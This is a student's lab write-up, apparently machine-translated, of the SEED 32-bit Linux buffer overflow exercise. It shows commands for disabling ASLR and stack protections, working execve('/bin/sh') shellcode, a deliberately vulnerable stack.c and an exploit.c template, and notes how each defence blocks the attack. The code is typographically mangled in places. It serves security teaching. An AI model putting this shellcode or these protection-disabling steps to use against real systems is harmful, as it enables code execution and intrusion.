Buffer Overflow Experiment (Linux 32-bit)
Reference tutorials and Materials: http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Software/Buffer_Overflow/
(This paper records the experience and problems of doing seed buffer overflow experiment, focusing on practice, rather than explaining the detailed tutorial of buffer overflow principle)
1. Preparatory work
Using the seed Ubuntu virtual machine for a buffer overflow experiment, you first need to turn off some defensive mechanisms for this attack to simplify the experiment.
(1) memory address randomization (addr Space randomization): Linux-based operating systems generally randomize the start address of heaps and stacks, making it difficult for attackers to guess the exact address. Use the following command to turn off the feature.
$ su Root
Password: (Enter root Password)
#sysctl-W kernel.randomize_va_space=0
(2) The Stackguard Protection SCHEME:GCC compiler implements a security mechanism called "Stack Guard" to protect against buffer overflow attacks. Therefore, when compiling the vulnerability program, add the-fno-stack-protector parameter to close the mechanism.
(3) Non-executable Stack:ubuntu once allowed the stack to execute, but now the program must declare whether the stack is allowed to execute. The kernel and linker check the flags of the program headers to determine whether the stack is allowed to be executed. GCC settings stack is not executable in the case of mode, so we need to add the-Z execstack parameter at compile time to allow stack execution.
2. ShellCode
The tutorial provides shellcode, the machine code that is disassembled by the following code, the function is to open a shell, by compiling the execution of call_shellcode.c can verify the correctness of shellcode. Debugging with GDB Call_shellcode will find that the starting address of the BUF does not make a byte pair of it, but does not affect the execution of Shellcode, the validator is to cast the buf into a function pointer to execute, use ingenious. Where Shellcode has some explanation, such as "//sh" is to fill 4 bytes, and "/" and "//" is the same; in order to pass parameters to the EXECVE, the address of the string is required, and the method of pushing and passing ESP is used. The CDQ is a short instruction to make edx zero. Note Add the arguments to the stack executable at the time of translation, as follows: Gcc-z execstack-o Call_shellcode call_shellcode.c
#include <stdio.h>int main () {char*name[2];name[0 ] = '/bin/sh '; name[1] = null;execve (name[0], name, NULL);}
View Code
/*call_shellcode.c*//*A program This creates a file containing code for launching Shell*/#include<stdlib.h>#include<stdio.h>Const CharCode[] ="\x31\xc0" /*Xorl%eax,%eax*/ "\x50" /*PUSHL%eax*/ "\x68""//sh" /*PUSHL $0x68732f2f*/ "\x68""/bin" /*PUSHL $0x6e69622f*/ "\x89\xe3" /*MOVL%esp,%ebx*/ "\x50" /*PUSHL%eax*/ "\x53" /*PUSHL%ebx*/ "\x89\xe1" /*MOVL%esp,%ecx*/ "\x99" /*CDQ*/ "\xb0\x0b" /*Movb $0x0b,%al*/ "\xcd\x80" /*int $0x80*/;intMainintargcChar**argv) { Charbuf[sizeof(code)]; strcpy (buf, code); ((void(*) ()) buf) ();} View Code
3. Vulnerability procedure STACK.C
The program is simple enough to read from a file to STR, which overflows when it passes in a buffer of only 24 bytes in size. At compile time, remember to cancel the protection mechanism, add ggdb in order to use GDB debugging convenience. Gcc–ggdb-o stack-z Execstack-fno-stack-protector stack.c
/*stack.c*//*This program has a buffer overflow vulnerability.*//*Our task was to exploit this vulnerability*/#include<stdlib.h>#include<stdio.h>#include<string.h>intBoFChar*str) { Charbuffer[ -]; /*The following statement has a buffer overflow problem*/strcpy (buffer, str); return 1;}intMainintargcChar**argv) { Charstr[517]; FILE*Badfile; Badfile= fopen ("Badfile","R"); Fread (str,sizeof(Char),517, Badfile); BOF (str); printf ("returned properly\n"); return 1;}View Code
4. Experimental content
GDB's use reference:
http://blog.csdn.net/liigo/article/details/582231
Http://blog.sina.com.cn/s/blog_605f5b4f0101ey1q.html
(1) Attack Vulnerability Program execution shellcode
After using GDB to enter BOF (), use the I frame to view information about the current program stack, as shown below. The location where EBP and EIP are saved can be seen directly, where the return position of the EIP is to be carefully overwritten with the return address, which points to our constructed shellcode.
View the memory of the stack and the location of the variable, which is circled in the stored EIP value and the variable position. However, there is a doubt not resolved, that is, 0xbffff010 and 0xbffff014 the 8 memory of the role of unknown.
After executing the memcpy, you can see that the memory becomes as shown.
That is, starting from 0xbfffeff8 into the Shellcode, initially consider the NSR mode, but due to the vulnerability program buffer is very small, just can put down shellcode, so directly using the SR mode, where the return address R is 0XBFFFEFF8. It is also important to note that when copying shellcode, do not copy the end of the string ' \x00 ' to the past, otherwise the vulnerability program will consider the string as a cutoff, without copying the contents of the following. Doing so will find that the Shellcode is running in error. After careful review of the memory of the execution process, found that Shellcode will stack some content, press into the EBX will be shellcode the last statement (position 0XBFFFFFFC) cover! Therefore, considering the use of RNs mode, experiments show that the use of RNs mode is simpler and the fault tolerance rate is high.
Modify the exploit.c as shown below, success!
(2) Start memory address randomization
First open the Linux memory address randomization feature, Sysctl-w kernel.randomize_va_space=2, and then execute the stack segment error again. GDB debugging will default off memory address randomization, need to enter GDB after the first input set Disable-randomization off to open the address randomization, and then Debug. The address of the stack is randomly changed each time it is run, which makes it impossible for an attacker to determine the Shellcode address.
(3) Stack Guard
First turn off the memory address randomization to prevent interference, and then recompile the STACK.C, the protection (new version of GCC) is turned on when the-fno-stack-protector parameter is not added. There is an error in executing the stack again, as can be seen from the assembly, which detects if the 4 bytes stored in the ebp-0xc location are changed, and that position 0XBFFFEFFC happens to be between the local variable and the stack frame. Compile the stack program again, find that the detection value will change, visible is randomly generated, difficult to predict.
(4) stack is not executable
Using Gcc-o stack-fno-stack-protector-z noexecstack stack.c compile stack.c, the debug run will discover that the process will receive a system signal SIGSEGV, segment error as long as the instructions on the stack are executed. You can use RETURN-TO-LIBC to bypass this defense mechanism.
/*exploit.c*//*A program This creates a file containing code for launching Shell*/#include<stdlib.h>#include<stdio.h>#include<string.h>Charshellcode[]="\x31\xc0" /*Xorl%eax,%eax*/ "\x50" /*PUSHL%eax*/ "\x68""//sh" /*PUSHL $0x68732f2f*/ "\x68""/bin" /*PUSHL $0x6e69622f*/ "\x89\xe3" /*MOVL%esp,%ebx*/ "\x50" /*PUSHL%eax*/ "\x53" /*PUSHL%ebx*/ "\x89\xe1" /*MOVL%esp,%ecx*/ "\x99" /*CDQ*/ "\xb0\x0b" /*Movb $0x0b,%al*/ "\xcd\x80" /*int $0x80*/;voidMainintargcChar**argv) { Charbuffer[517]; FILE*Badfile; /*Initialize buffer with 0x90 (NOP instruction)*/memset (&buffer,0x90,517); /*You need to fill the buffer with appropriate contents here*/ /*Save the contents to the file "Badfile"*/Badfile= fopen ("./badfile","W"); fwrite (Buffer,517,1, Badfile); Fclose (badfile);}View Code
Advanced buffer overflow technology can be consulted: http://drops.wooyun.org/tips/6597
Seed Buffer Overflow Lab note